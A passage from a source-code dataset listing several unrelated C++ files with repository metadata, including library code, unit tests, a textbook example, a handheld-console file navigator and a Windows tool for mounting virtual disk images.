hexsha stringlengths 40 40 | size int64 7 1.05M | ext stringclasses 13
values | lang stringclasses 1
value | max_stars_repo_path stringlengths 4 269 | max_stars_repo_name stringlengths 5 108 | max_stars_repo_head_hexsha stringlengths 40 40 | max_stars_repo_licenses listlengths 1 9 | max_stars_count int64 1 191k ⌀ | max_stars_repo_stars_event_min_datetime stringlengths 24 24 ⌀ | max_stars_repo_stars_event_max_datetime stringlengths 24 24 ⌀ | max_issues_repo_path stringlengths 4 269 | max_issues_repo_name stringlengths 5 116 | max_issues_repo_head_hexsha stringlengths 40 40 | max_issues_repo_licenses listlengths 1 9 | max_issues_count int64 1 67k ⌀ | max_issues_repo_issues_event_min_datetime stringlengths 24 24 ⌀ | max_issues_repo_issues_event_max_datetime stringlengths 24 24 ⌀ | max_forks_repo_path stringlengths 4 269 | max_forks_repo_name stringlengths 5 116 | max_forks_repo_head_hexsha stringlengths 40 40 | max_forks_repo_licenses listlengths 1 9 | max_forks_count int64 1 105k ⌀ | max_forks_repo_forks_event_min_datetime stringlengths 24 24 ⌀ | max_forks_repo_forks_event_max_datetime stringlengths 24 24 ⌀ | content stringlengths 7 1.05M | avg_line_length float64 1.21 330k | max_line_length int64 6 990k | alphanum_fraction float64 0.01 0.99 | author_id stringlengths 2 40 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
83ee4051afd68649f2d087bc4bae354b802773f0 | 696 | cpp | C++ | gtsam/discrete/AlgebraicDecisionTree.cpp | h-rover/gtsam | a0206e210d8f47b6ee295a1fbf95af84d98c5cf0 | [
"BSD-3-Clause"
] | 1 | 2022-03-04T07:01:48.000Z | 2022-03-04T07:01:48.000Z | gtsam/discrete/AlgebraicDecisionTree.cpp | h-rover/gtsam | a0206e210d8f47b6ee295a1fbf95af84d98c5cf0 | [
"BSD-3-Clause"
] | null | null | null | gtsam/discrete/AlgebraicDecisionTree.cpp | h-rover/gtsam | a0206e210d8f47b6ee295a1fbf95af84d98c5cf0 | [
"BSD-3-Clause"
] | 1 | 2022-03-21T06:58:34.000Z | 2022-03-21T06:58:34.000Z | /* ----------------------------------------------------------------------------
* GTSAM Copyright 2010, Georgia Tech Research Corporation,
* Atlanta, Georgia 30332-0415
* All Rights Reserved
* Authors: Frank Dellaert, et al. (see THANKS for the full author list)
* See LICENSE for the license information
* -------------------------------------------------------------------------- */
/**
* @file AlgebraicDecisionTree.cpp
* @date Feb 20, 2022
* @author Mike Sheffler
* @author Duy-Nguyen Ta
* @author Frank Dellaert
*/
#include "AlgebraicDecisionTree.h"
#include <gtsam/base/types.h>
namespace gtsam {
template class AlgebraicDecisionTree<Key>;
} // namespace gtsam
| 24 | 80 | 0.554598 | h-rover |
83f3f8a87d7df2fb79e11988e0fab1b152b09aa3 | 1,958 | cpp | C++ | tests/containers/btree/test_btree_insert_find.cpp | hthetran/stxxl | 7f0223e52e9f10f28ed7d368cffecbbeeaa60ca7 | [
"BSL-1.0"
] | null | null | null | tests/containers/btree/test_btree_insert_find.cpp | hthetran/stxxl | 7f0223e52e9f10f28ed7d368cffecbbeeaa60ca7 | [
"BSL-1.0"
] | null | null | null | tests/containers/btree/test_btree_insert_find.cpp | hthetran/stxxl | 7f0223e52e9f10f28ed7d368cffecbbeeaa60ca7 | [
"BSL-1.0"
] | null | null | null | /***************************************************************************
* tests/containers/btree/test_btree_insert_find.cpp
*
* Part of the STXXL. See http://stxxl.org
*
* Copyright (C) 2006 Roman Dementiev <dementiev@ira.uka.de>
* Copyright (C) 2018 Manuel Penschuck <stxxl@manuel.jetzt>
*
* Distributed under the Boost Software License, Version 1.0.
* (See accompanying file LICENSE_1_0.txt or copy at
* http://www.boost.org/LICENSE_1_0.txt)
**************************************************************************/
#include "test_btree_common.h"
int main(int argc, char* argv[])
{
size_t nins;
{
die_with_message_if(argc < 2, "Usage: " << argv[0] << " #log_ins");
const auto log_nins = foxxll::atoi64(argv[1]);
die_with_message_if(log_nins > 31, "This test can't do more than 2^31 operations, you requested 2^" << log_nins);
nins = 1ULL << log_nins;
}
stxxl::vector<int> Values(nins);
random_fill_vector(Values);
btree_type BTree(1024 * 128, 1024 * 128);
{
LOG1 << "Inserting " << nins << " random values into btree";
for (auto it = Values.cbegin(); it != Values.cend(); ++it)
BTree.insert({ *it, static_cast<payload_type>(*it + 1) });
LOG1 << "Number of elements in btree: " << BTree.size();
}
{
LOG1 << "Searching " << nins << " existing elements";
for (auto it = Values.cbegin(); it != Values.cend(); ++it) {
btree_type::iterator bIt = BTree.find(*it);
die_unless(bIt != BTree.end());
die_unless(bIt->first == *it);
}
}
{
LOG1 << "Searching " << nins << " non-existing elements";
for (auto it = Values.cbegin(); it != Values.cend(); ++it) {
btree_type::iterator bIt = BTree.find(static_cast<payload_type>(*it + 1));
die_unless(bIt == BTree.end());
}
}
LOG1 << "Test passed.";
return 0;
}
| 34.350877 | 121 | 0.536261 | hthetran |
83f43a4b2d0b4d87c5f1eda0034a95df316aa789 | 495 | cpp | C++ | src/utility/general/timer.cpp | heiseish/DawnCpp | 6bcde05109bce67cc6d44c23d57e0c4348439196 | [
"Apache-2.0"
] | 3 | 2020-08-11T07:55:16.000Z | 2022-01-14T16:05:39.000Z | src/utility/general/timer.cpp | heiseish/DawnCpp | 6bcde05109bce67cc6d44c23d57e0c4348439196 | [
"Apache-2.0"
] | null | null | null | src/utility/general/timer.cpp | heiseish/DawnCpp | 6bcde05109bce67cc6d44c23d57e0c4348439196 | [
"Apache-2.0"
] | null | null | null | #include "timer.hpp"
#include <chrono>
namespace Dawn::Utility {
//---------------------------------
time_t GetCurrentEpoch()
{
struct timeval tv;
gettimeofday(&tv, nullptr);
return tv.tv_sec;
}
//---------------------------------
unsigned long GetCurrentEpochMs()
{
struct timeval tv;
gettimeofday(&tv, nullptr);
return tv.tv_sec * 1000 + tv.tv_usec / 1000;
}
void Timer::Start() { _start = std::chrono::high_resolution_clock::now(); }
} // namespace Dawn::Utility | 20.625 | 75 | 0.581818 | heiseish |
83f73dac265e4cad27c1d8a0259b17b031cb89f3 | 576 | hpp | C++ | simsync/include/simsync/reports/criticality_stack.hpp | mariobadr/simsync-pmam | c541d2bf3a52eec8579e254a0300442bc3d6f1d4 | [
"Apache-2.0"
] | null | null | null | simsync/include/simsync/reports/criticality_stack.hpp | mariobadr/simsync-pmam | c541d2bf3a52eec8579e254a0300442bc3d6f1d4 | [
"Apache-2.0"
] | null | null | null | simsync/include/simsync/reports/criticality_stack.hpp | mariobadr/simsync-pmam | c541d2bf3a52eec8579e254a0300442bc3d6f1d4 | [
"Apache-2.0"
] | null | null | null | #ifndef SIMSYNC_CRITICALITY_STACK_HPP
#define SIMSYNC_CRITICALITY_STACK_HPP
#include <simsync/reports/report.hpp>
#include <map>
namespace simsync {
class system;
class criticality_stack : public report {
public:
explicit criticality_stack(std::string const &output_file, const system &system);
~criticality_stack() override;
void update(std::chrono::nanoseconds current_time, event *e) override;
private:
system const &m_system;
std::chrono::nanoseconds m_last_time;
std::map<int32_t, int64_t> m_criticality;
};
}
#endif //SIMSYNC_CRITICALITY_STACK_HPP
| 19.862069 | 83 | 0.779514 | mariobadr |
83f975c550da54f756f9bb2e3551ea8bd57af189 | 1,206 | cpp | C++ | code_snippets/Chapter09/chapter.9.7.1-problematic.cpp | TingeOGinge/stroustrup_ppp | bb69533fff8a8f1890c8c866bae2030eaca1cf8b | [
"MIT"
] | 170 | 2015-05-02T18:08:38.000Z | 2018-07-31T11:35:17.000Z | code_snippets/Chapter09/chapter.9.7.1-problematic.cpp | TingeOGinge/stroustrup_ppp | bb69533fff8a8f1890c8c866bae2030eaca1cf8b | [
"MIT"
] | 7 | 2018-08-29T15:43:14.000Z | 2021-09-23T21:56:49.000Z | code_snippets/Chapter09/chapter.9.7.1-problematic.cpp | TingeOGinge/stroustrup_ppp | bb69533fff8a8f1890c8c866bae2030eaca1cf8b | [
"MIT"
] | 105 | 2015-05-28T11:52:19.000Z | 2018-07-17T14:11:25.000Z |
//
// This is example code from Chapter 9.7.1 "Argument types" of
// "Programming -- Principles and Practice Using C++" by Bjarne Stroustrup
//
//------------------------------------------------------------------------------
// simple Date (use Month type):
class Date {
public:
enum Month {
jan=1, feb, mar, apr, may, jun, jul, aug, sep, oct, nov, dec
};
Date(int yy, Month mm, int dd) : y(yy), m(mm), d(dd) // check for valid date and initialize
{
// ...
}
private:
int y; // year
Month m;
int d; // day
};
//------------------------------------------------------------------------------
int main()
{
//Date d1(4,5,2005); // oops: Year 4, day 2005
//Date d2(2005,4,5); // April 5 or May 4?
//Date dx1(1998, 4, 3); // error: 2nd argument not a Month
//Date dx2(1998, 4, Date::mar); // error: 2nd argument not a Month
Date dx2(4, Date::mar, 1998); // oops: run-time error: day 1998
//Date dx2(Date::mar, 4, 1998); // error: 2nd argument not a Month
Date dx3(1998, Date::mar, 30); // ok
return 0;
}
//------------------------------------------------------------------------------
| 28.046512 | 95 | 0.43864 | TingeOGinge |
83fe5204f2d645e0fe5fdfb0789fd23392ddeec6 | 1,931 | hpp | C++ | applications/CoSimulationApplication/custom_external_libraries/CoSimIO/co_sim_io/includes/stream_serializer.hpp | clazaro/Kratos | b947b82c90dfcbf13d60511427f85990d36b90be | [
"BSD-4-Clause"
] | 15 | 2020-04-17T17:25:47.000Z | 2022-02-02T09:28:56.000Z | applications/CoSimulationApplication/custom_external_libraries/CoSimIO/co_sim_io/includes/stream_serializer.hpp | clazaro/Kratos | b947b82c90dfcbf13d60511427f85990d36b90be | [
"BSD-4-Clause"
] | 84 | 2020-04-29T17:22:04.000Z | 2022-02-14T12:24:59.000Z | applications/CoSimulationApplication/custom_external_libraries/CoSimIO/co_sim_io/includes/stream_serializer.hpp | clazaro/Kratos | b947b82c90dfcbf13d60511427f85990d36b90be | [
"BSD-4-Clause"
] | 2 | 2021-03-02T04:15:05.000Z | 2022-01-15T11:59:22.000Z | // ______ _____ _ ________
// / ____/___ / ___/(_)___ ___ / _/ __ |
// / / / __ \\__ \/ / __ `__ \ / // / / /
// / /___/ /_/ /__/ / / / / / / // // /_/ /
// \____/\____/____/_/_/ /_/ /_/___/\____/
// Kratos CoSimulationApplication
//
// License: BSD License, see license.txt
//
// Main authors: Pooyan Dadvand
// Philipp Bucher (https://github.com/philbucher)
//
#ifndef CO_SIM_IO_STREAM_SERIALIZER_INCLUDED
#define CO_SIM_IO_STREAM_SERIALIZER_INCLUDED
// System includes
// Project includes
#include "serializer.hpp"
namespace CoSimIO {
namespace Internals {
// This class provides a simpler interface for serialization to a string instead of to a file
// Note that you may not override any load or save method of the Serializer. They are not virtual.
class CO_SIM_IO_API StreamSerializer : public Serializer
{
public:
///this constructor simply wraps the standard Serializer and defines output to basic_iostream
///@param rTrace type of serialization to be employed
explicit StreamSerializer(TraceType const& rTrace=SERIALIZER_NO_TRACE);
//this constructor generates a standard Serializer AND fills the buffer with the data contained in "data"
///@param rData a string contained the data to be used in filling the buffer
///@param rTrace type of serialization to be employed
StreamSerializer(const std::string& rData, TraceType const& rTrace=SERIALIZER_NO_TRACE);
//get a string representation of the serialized data
std::string GetStringRepresentation() {
return ((std::stringstream*)(this->pGetBuffer()))->str();
}
/// Assignment operator.
StreamSerializer& operator=(StreamSerializer const& rOther) = delete;
/// Copy constructor.
StreamSerializer(StreamSerializer const& rOther) = delete;
};
} // namespace Internals
} // namespace CoSimIO
#endif // CO_SIM_IO_STREAM_SERIALIZER_INCLUDED
| 35.109091 | 109 | 0.696012 | clazaro |
8601d4aac050cb6d518bfb67ce260d473325a2c8 | 8,592 | cpp | C++ | navigator/main.cpp | felipemanga/Loader | e8621c8e2d90f6dd6a231657ff8024ea2075bc45 | [
"MIT"
] | 1 | 2019-03-24T19:09:07.000Z | 2019-03-24T19:09:07.000Z | navigator/main.cpp | felipemanga/Loader | e8621c8e2d90f6dd6a231657ff8024ea2075bc45 | [
"MIT"
] | null | null | null | navigator/main.cpp | felipemanga/Loader | e8621c8e2d90f6dd6a231657ff8024ea2075bc45 | [
"MIT"
] | 1 | 2019-12-27T13:34:17.000Z | 2019-12-27T13:34:17.000Z | #include <stdio.h>
#include <functional>
#include "kernel.h"
#include "tagtype.h"
#include "api.h"
#include "mode2_direct.h"
#include "drawCharSetPixel.h"
#include "miniprint_impl.h"
#include "backlight.h"
#include "fontTIC80.h"
#include "loader.h"
#include "strutil.h"
using namespace NAVIGATOR;
Kernel *kapi;
int32_t x, y, tx, ty;
int32_t selection;
uint8_t hlcolor;
char largeBuf[ 1024 ];
char path[256];
const uint8_t maxitem = 10;
const char *errmsg;
bool forceDraw;
void getXY( int32_t id, int32_t &x, int32_t &y ){
x = id;
if( id < (maxitem>>1) ){
y = 0;
}else{
y = api.itemStrideY;
x -= maxitem>>1;
}
y += api.itemOffsetY;
x *= api.itemStrideX;
x += api.itemOffsetX;
}
void initdir();
void error( Kernel *kapi ){
cursor_x = 10;
cursor_y = 10;
drawcolor = 4;
print( errmsg );
while(true);
}
void showError( const char *m ){
errmsg = m;
error(nullptr);
}
bool loadFileEntry( uint32_t off ){
FILE *fp = FS.fopen(".loader/index", "rb");
if( !fp )
return false;
FS.fseek( fp, off * 512, SEEK_SET );
largeBuf[0] = 0;
FS.fread( largeBuf, 1, 256, fp );
FS.fclose( fp );
return true;
}
struct Item {
int32_t x, y;
char ext[4];
uint32_t off;
bool isDir, isIconLoaded, isIconValid;
void setOffset( uint32_t off ){
if( off == this->off )
return;
isDir = false;
isIconLoaded = false;
isIconValid = true;
this->off = off;
}
} items[maxitem];
void renderItem( int32_t itemId ){
Item &item = items[itemId];
if( !item.isIconValid || item.isIconLoaded || !loadFileEntry(item.off) )
return;
int32_t x, y;
getXY( itemId, x, y );
getExtension( item.ext, largeBuf+1 );
char *namep = largeBuf+1;
while( *namep++ );
while( namep != largeBuf+1 && *namep != '/' ) namep--;
if( *namep=='/' ) namep++;
item.isDir = largeBuf[0];
ProcessHandle ph;
{
char plugin[ 40 ];
FS.sprintf( plugin, ".loader/loaders/%s.pop", item.isDir ? "BIN" : item.ext );
ph = kapi->createProcess( plugin );
}
Loader *loader = (Loader *) ph.api;
if( loader ){
if( itemId == selection ){
DIRECT::setPixel(220-1, 176-1, 0);
if( !loader->drawScreenshot || !loader->drawScreenshot( largeBuf+1, 0, 90 ) ){
fillRect(0,0, width,90, hlcolor);
cursor_x = 110;
cursor_y = 50;
drawcolor = api.lblColor;
char *ch = namep;
while( *ch++ )
cursor_x -= font[0]>>1;
if( item.isDir ){
print("[");
print(namep);
print("]");
}else{
print(namep);
}
}
}
if( loader->drawIconDirect ){
item.isIconLoaded = loader->drawIconDirect(
largeBuf+1,
36,
x, y
);
}
if( loader->getIcon && !item.isIconLoaded ){
uint8_t buf[36*(36>>1)];
item.isIconLoaded = loader->getIcon(largeBuf+1, buf, 36);
if( item.isIconLoaded ){
drawBitmap( x, y, 36, 36, buf );
}
}
if( !item.isIconLoaded ){
fillRect( x, y, 36, 36, 0 );
item.isIconValid = false;
}
}else if( ph.state == ProcessState::error ){
item.isIconValid = false;
}else{
forceDraw = true;
}
}
int32_t fileCount, fileIndex;
int prev( int i ){
i--;
if( i<0 ) i = fileCount-1;
return i;
}
int next( int i ){
i++;
if( i>=fileCount ) i=0; // no modulo!
return i;
}
bool popPath(){
char *c = path;
if( !*c ) return false;
while( *c ) c++;
while( c != path && *c != '/' ) c--;
*c = 0;
return true;
}
bool addSelectionToPath(){
FILE *fp = FS.fopen(".loader/index", "rb");
if( !fp ) return false;
FS.fseek( fp, items[selection].off * 512 + 1, SEEK_SET );
if( path[0] )
concat( path, "/" );
char *b = path;
while(*b) b++;
FS.fread( path, 1, 256 - (b - path), fp );
FS.fclose(fp);
return true;
}
bool stopped(){
return x == tx && y == ty;
}
bool draw( Kernel *kapi ){
bool ret = stopped();
int c;
if( ret && !forceDraw )
return false;
drawRect( x-1, y-1, 37, 37, api.clearColor );
drawRect( x-2, y-2, 39, 39, api.clearColor );
x = tx;
y = ty;
forceDraw = false;
c = fileIndex;
for( int i=0; i<selection; ++i, c=next(c) );
Item &sel = items[selection];
if( !ret )
sel.off = ~0;
sel.setOffset( c);
renderItem( selection );
if( forceDraw )
return true;
c=fileIndex;
for( int i=0; i<maxitem; ++i, c=next(c) ){
if( i == selection )
continue;
items[i].setOffset( c );
renderItem(i);
}
if( !forceDraw ){
fadeBacklight(true);
for( int i=0; i<100; ++i ){
drawRect( x-1, y-1, 37, 37, hlcolor++ );
drawRect( x-2, y-2, 39, 39, hlcolor++ );
for( volatile int j=0; j<5000; ++j );
}
}
return ret;
}
bool shiftRight;
bool startSelection( Kernel *kapi ){
DIRECT::setPixel( 220-1, 176-1, 0 );
char plugin[ 40 ];
FS.sprintf( (char *) kapi->ipcbuffer, "%s", path );
FS.sprintf( plugin, ".loader/loaders/%s.pop", items[selection].ext );
Loader * loader = (Loader *) kapi->createProcess( plugin ).api;
if( loader )
loader->activate( kapi );
return true;
}
void empty( Kernel *kapi ){
if( isPressedB() ){
while( isPressedB() );
kapi->createProcess(".loader/desktop.pop");
}
}
void update( Kernel *kapi ){
if( stopped() && !forceDraw ){
if( isPressedB() ){
while( isPressedB() );
if( !popPath() ){
DIRECT::setPixel(220-1, 176-1, 0);
kapi->createProcess(".loader/desktop.pop");
return;
}else{
initdir();
return;
}
}
if( isPressedA() ){
while(isPressedA());
if( !addSelectionToPath() )
return;
if( items[selection].isDir ){
initdir();
return;
}else{
startSelection( kapi );
popPath();
return;
}
}
if( isPressedDown() && selection < (maxitem>>1) ){
selection += maxitem>>1;
}else if( isPressedUp() && selection >= (maxitem>>1) ){
selection -= maxitem>>1;
}
if( isPressedRight() ){
selection++;
if( selection == (maxitem>>1) || selection == maxitem ){
selection = 0;
fileIndex += maxitem;
while( fileIndex >= fileCount )
fileIndex -= fileCount;
}
}else if( isPressedLeft() ){
selection--;
if( selection < 0 || selection == (maxitem>>1)-1 ){
selection = (maxitem>>1)-1;
fileIndex -= maxitem;
while( fileIndex < 0 )
fileIndex += fileCount;
}
}
getXY( selection, tx, ty );
}
draw( kapi );
}
void flushDirIndex( char *buf, int32_t bufPos ){
if( bufPos <= 0 )
return;
FILE *fp = FS.fopen( ".loader/index", "a" );
if( !fp )
return;
while( bufPos > 0 ){
uint32_t len = strlen(buf+1) + 2;
FS.fwrite( buf, 1, 512, fp );
buf += len;
bufPos -= len;
}
FS.fclose(fp);
}
void initdir(){
DIR *d = FS.opendir( path );
FILE *fp = FS.fopen( ".loader/index", "w" );
fileCount = 0;
if( fp && d ){
char *buf = largeBuf;
uint32_t bufPos = 0, pathLen = strlen(path)+2, fileLen;
FS.fclose(fp);
while( dirent *e = FS.readdir( d ) ){
if( e->d_name[0] == '.' )
continue;
fileLen = pathLen + strlen(e->d_name);
if( bufPos + fileLen >= sizeof(largeBuf) ){
flushDirIndex( buf, bufPos );
bufPos = 0;
}
if( e->d_type & DT_ARC ){
char ext[4], tmp[30];
getExtension( ext, e->d_name );
FS.sprintf( tmp, ".loader/loaders/%s.pop", ext );
FILE *f = FS.fopen( tmp, "r" );
if( f ) FS.fclose(f);
else continue;
buf[bufPos++] = 0;
}else if( !(e->d_type & DT_DIR) ){
continue;
}else{
buf[bufPos++] = 1;
}
fileCount++;
FS.sprintf( buf+bufPos, "%s/%s", path, e->d_name );
bufPos += fileLen;
}
flushDirIndex( buf, bufPos );
}
FS.fclose(fp);
FS.closedir(d);
fillRect(0,0,width,height,api.clearColor);
if( fileCount == 0 ){
api.run = empty;
lcdRefresh();
cursor_x = 20;
cursor_y = 40;
print("Empty Folder");
DIRECT::setPixel(220-1, 176-1, 0);
}else{
api.run = update;
selection = 0;
fileIndex = 0;
for( uint32_t i=0; i<maxitem; ++i )
items[i].off = ~0;
forceDraw = true;
}
}
void init( Kernel *kapi ){
::kapi = kapi;
path[0] = 0;
font = fontTIC806x6;
cursor_x = 0;
cursor_y = 10;
drawcolor = 7;
x = -1;
initdir();
}
namespace NAVIGATOR {
API api = {
init, 0, 0,
0, // clearColor
7,
42, 6, 42, 95, // itemStrideX, itemOffsetX, itemStrideY, itemOffsetY
-5, -5, // moveX, moveY
};
}
| 17.392713 | 83 | 0.549814 | felipemanga |
86049ec1359af6d5974e5f2a52f9c36b65c8410a | 2,917 | cpp | C++ | testsrc/clause_tests.cpp | sat-clique/cnfkit | 280605ef29c95df3d5b349d54b2410451a2f5564 | [
"X11"
] | null | null | null | testsrc/clause_tests.cpp | sat-clique/cnfkit | 280605ef29c95df3d5b349d54b2410451a2f5564 | [
"X11"
] | null | null | null | testsrc/clause_tests.cpp | sat-clique/cnfkit | 280605ef29c95df3d5b349d54b2410451a2f5564 | [
"X11"
] | null | null | null | #include <cnfkit/clause.h>
#include <gmock/gmock.h>
#include <gtest/gtest.h>
#include <array>
#include <cstdint>
using ::testing::Eq;
namespace cnfkit {
template <typename T>
class add_member {
private:
T dummy;
};
template <typename SizeType, typename... AdditionalBases>
class alignas(8) configurable_test_clause
: public clause<configurable_test_clause<SizeType, AdditionalBases...>, SizeType>,
public AdditionalBases... {
public:
using base = clause<configurable_test_clause<SizeType, AdditionalBases...>, SizeType>;
using typename base::size_type;
using base::begin;
using base::cbegin;
using base::cend;
using base::empty;
using base::end;
using base::size;
explicit configurable_test_clause(size_t size) : base(size) {}
};
template <typename ClauseType>
class ClauseTests : public ::testing::Test {
};
// clang-format off
using TestClauseTypes = ::testing::Types<
configurable_test_clause<uint8_t>,
configurable_test_clause<uint16_t>,
configurable_test_clause<uint32_t>,
configurable_test_clause<uint64_t>,
configurable_test_clause<uint8_t, add_member<uint8_t>>,
configurable_test_clause<uint16_t, add_member<uint8_t>>,
configurable_test_clause<uint32_t, add_member<uint8_t>>,
configurable_test_clause<uint64_t, add_member<uint8_t>>,
configurable_test_clause<uint8_t, add_member<uint32_t>>,
configurable_test_clause<uint16_t, add_member<uint32_t>>,
configurable_test_clause<uint32_t, add_member<uint32_t>>,
configurable_test_clause<uint64_t, add_member<uint32_t>>,
configurable_test_clause<uint8_t, add_member<std::array<uint8_t, 5>>>,
configurable_test_clause<uint16_t, add_member<std::array<uint8_t, 5>>>,
configurable_test_clause<uint32_t, add_member<std::array<uint8_t, 5>>>,
configurable_test_clause<uint64_t, add_member<std::array<uint8_t, 5>>>
>;
// clang-format on
TYPED_TEST_SUITE(ClauseTests, TestClauseTypes);
TYPED_TEST(ClauseTests, LiteralAdressing)
{
using test_clause = TypeParam;
alignas(test_clause) unsigned char buf[1024];
test_clause* clause = test_clause::base::construct_in(buf, 10);
ASSERT_THAT(static_cast<void*>(clause), Eq(static_cast<void*>(buf)));
uintptr_t const lits_begin_addr = reinterpret_cast<uintptr_t>(clause->begin());
EXPECT_THAT(lits_begin_addr, Eq(reinterpret_cast<uintptr_t>(buf) + sizeof(test_clause)));
EXPECT_THAT(lits_begin_addr % alignof(lit), Eq(0));
uintptr_t const lits_end_addr = reinterpret_cast<uintptr_t>(clause->end());
EXPECT_THAT(lits_end_addr - lits_begin_addr, Eq(10 * sizeof(lit)));
}
TYPED_TEST(ClauseTests, LiteralsAreZeroInitialized)
{
using namespace cnfkit_literals;
using test_clause = TypeParam;
alignas(test_clause) unsigned char buf[1024];
test_clause* clause = test_clause::base::construct_in(buf, 10);
for (lit const& literal : *clause) {
EXPECT_THAT(literal, Eq(lit{var{0}, false}));
}
}
}
| 29.765306 | 91 | 0.756256 | sat-clique |
8604f115f3b93a73fea55c2b3c785b4d0cbd6d85 | 9,763 | cpp | C++ | src/Main.cpp | TobiOnline/VHDTool | f0d5af252d3fe4df69cccd4ee33c14dca31e7082 | [
"Unlicense"
] | 5 | 2019-07-10T23:14:22.000Z | 2022-03-04T09:33:07.000Z | src/Main.cpp | TobiOnline/VHDTool | f0d5af252d3fe4df69cccd4ee33c14dca31e7082 | [
"Unlicense"
] | 10 | 2020-04-25T01:03:19.000Z | 2020-08-18T15:42:51.000Z | src/Main.cpp | TobiOnline/VHDTool | f0d5af252d3fe4df69cccd4ee33c14dca31e7082 | [
"Unlicense"
] | 5 | 2018-10-08T12:53:10.000Z | 2019-07-14T14:05:07.000Z | #include "stdafx.h"
#include "Util.h"
#include "VHDTool.h"
using namespace std;
namespace VHDTool {
int Run(vector<string> arguments);
void PrintUsage(const string path);
string StripLeadingDashes(const string argument);
void DoActionOnSingleFile(const string path, Operation operation, FileOptions arguments);
void DoActionOnDirectory(const string path, Operation operation, ProgramOptions arguments);
void DoActionOnFiles(const string path, Operation operation, ProgramOptions arguments);
void PrintUsage(const string programmName) {
const string fileName = GetFileName(programmName);
cout << "Usage: " << fileName << " <operation> [options] <path> path path ..." << endl;
cout << endl;
cout << "Operations:" << endl;
for (const OperationName& operation : GetSupportedOperations()) {
cout << " " << operation.getName() << endl;
cout << " " << operation.getDescription() << endl << endl;
for (const OptionName& option : operation.getOptions()) {
cout << " --" << option.getName() << "(-" << option.getShortForm() << ")" << endl;
cout << " " << option.getDescription() << endl << endl;
}
}
}
int Run(vector<string> arguments)
{
cout << "VHDTool v1.0" << endl;
cout << endl;
if (arguments.size() < 2) {
PrintUsage(move(arguments[0]));
return EXIT_FAILURE;
}
const string opName = StripLeadingDashes(arguments[1]);
const OperationName* operation = nullptr;
for (const OperationName& operationName : GetSupportedOperations()) {
if (opName == operationName.getName()) {
operation = &operationName;
break;
}
}
if (operation == nullptr) {
cout << "Unknown operation \"" << opName << "\"!" << endl << endl;
PrintUsage(arguments[0]);
return EXIT_FAILURE;
}
size_t options = (size_t) Option::None;
size_t argument = 2;
for (; argument + 1 < arguments.size(); argument++){
string argumentValue;
bool shortArg = false;
if (arguments[argument].find("--") == 0) {
argumentValue = arguments[argument].substr(2);
}
else if (arguments[argument].find("-") == 0){
shortArg = true;
argumentValue = arguments[argument].substr(1);
}
else {
break; // Interpret as Path
}
bool validArg = false;
for (const OptionName& optionName : operation->getOptions()) {
const string optionNameText = shortArg ? optionName.getShortForm() : optionName.getName();
if (optionName.isCaseSensitive()
? boost::equals(argumentValue, optionNameText)
: boost::iequals(argumentValue, optionNameText)) {
if ((options & (size_t) optionName.getOptionValue()) != 0) {
cout << "Option \"" << argumentValue << "\" already specified! Ignoring second one!"
<< endl;
break;
}
validArg = true;
options |= (size_t) optionName.getOptionValue();
break;
}
}
if (!validArg) {
cout << "Unknown option \"" << argumentValue << "\"!" << endl;
cout << endl;
PrintUsage(arguments[0]);
return EXIT_FAILURE;
}
}
if (operation->getOperationValue() == Operation::Help) {
PrintUsage(arguments[0]);
return EXIT_SUCCESS;
}
if (arguments.size() - argument <= 0) {
cout << "No path/file specified!" << endl;
cout << endl;
PrintUsage(arguments[0]);
return EXIT_FAILURE;
}
ProgramOptions programOptions;
programOptions.getFileOptions().setReadOnly((options & (size_t) Option::ReadOnly) != 0);
programOptions.setTryAllFiles((options & (size_t) Option::TryAll) != 0);
programOptions.setRecursive((options & (size_t) Option::DirectoryRecursive) != 0);
const bool paramIsDirectory = ((options & ((size_t) Option::Directory | (size_t) Option::DirectoryRecursive)) != 0);
void(*function)(const string, Operation, ProgramOptions)
= (paramIsDirectory ? &DoActionOnDirectory : &DoActionOnFiles);
for (; argument < arguments.size(); argument++) {
cout << "Mounting " << arguments[argument] << " as " << (paramIsDirectory ? "directory" : "file/s") << "!" << endl;
function(arguments[argument], operation->getOperationValue(), programOptions);
}
return EXIT_SUCCESS;
}
void DoActionOnSingleFile(const string path, Operation operation, FileOptions arguments) {
VIRTUAL_STORAGE_TYPE storageType;
HANDLE handle;
DWORD error;
VIRTUAL_DISK_ACCESS_MASK diskAccessMask;
storageType.VendorId = VIRTUAL_STORAGE_TYPE_VENDOR_MICROSOFT;
storageType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_VHD;
#ifdef VIRTUAL_STORAGE_TYPE_DEVICE_ISO
if (boost::iequals(arguments.getType(), FILETYPE_ISO)) {
storageType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_ISO;
}
#endif
#ifdef VIRTUAL_STORAGE_TYPE_DEVICE_VHDX
if (boost::iequals(arguments.getType(), FILETYPE_VHDX)) {
storageType.DeviceId = VIRTUAL_STORAGE_TYPE_DEVICE_VHDX;
}
#endif
switch (operation) {
case VHDTool::Operation::Mount:
diskAccessMask = arguments.isReadOnly() ? VIRTUAL_DISK_ACCESS_ATTACH_RO : VIRTUAL_DISK_ACCESS_ATTACH_RW;
break;
case VHDTool::Operation::Dismount:
diskAccessMask = VIRTUAL_DISK_ACCESS_DETACH;
break;
default:
diskAccessMask = VIRTUAL_DISK_ACCESS_ALL;
break;
}
wstring pathW = toWChar(path);
error = OpenVirtualDisk(&storageType, pathW.c_str(), diskAccessMask, OPEN_VIRTUAL_DISK_FLAG_NONE, NULL,
&handle);
pathW.clear();
if (error) {
cout << "Could not open " << arguments.getType() << " file \"" << path << "\"" << endl;
PrintError(error);
return;
}
switch (operation) {
case VHDTool::Operation::Mount: {
underlying_type<ATTACH_VIRTUAL_DISK_FLAG>::type attachFlags = ATTACH_VIRTUAL_DISK_FLAG_PERMANENT_LIFETIME;
if (arguments.isReadOnly()) {
attachFlags |= ATTACH_VIRTUAL_DISK_FLAG_READ_ONLY;
}
error = AttachVirtualDisk(handle, NULL, (ATTACH_VIRTUAL_DISK_FLAG) attachFlags, 0, NULL, NULL);
if (error) {
cout << "Could not attach " << arguments.getType() << " file \"" << path << "\"" << endl;
PrintError(error);
return;
}
cout << arguments.getType() << " file \"" << path << "\" attached!" << endl;
break;
}
case VHDTool::Operation::Dismount: {
error = DetachVirtualDisk(handle, DETACH_VIRTUAL_DISK_FLAG_NONE, 0);
if (error) {
cout << "Could not detach " << arguments.getType() << " file \"" << path << "\"" << endl;
PrintError(error);
return;
}
